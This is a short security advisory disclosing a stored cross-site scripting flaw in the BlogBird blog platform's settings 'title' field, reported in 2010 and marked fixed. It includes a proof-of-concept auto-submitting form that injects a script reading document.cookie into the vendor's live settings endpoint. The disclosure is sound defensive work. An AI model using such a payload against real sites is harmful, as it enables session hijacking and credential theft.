XSS vulnerability in BlogBird platform

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Vulnerability ID: HTB22646
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogbird.html
Product: BlogBird
Vendor: BlogBird ( http://www.blogbird.nl/ ) 
Vulnerable Version: Current actual version on http://www.blogbird.nl/
Vendor Notification: 13 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the blog setting save script to 
properly sanitize user-supplied input in "title" variable. Successful 
exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or 
modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://www.blogbird.nl/settings/save"; method="post" name="main">
<input type="hidden" name="title" value='My Blog 
Title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="description" value="">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="language" value="dutch">
<input type="hidden" name="date_format" value="">
<input type="hidden" name="per_page" value="0">
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version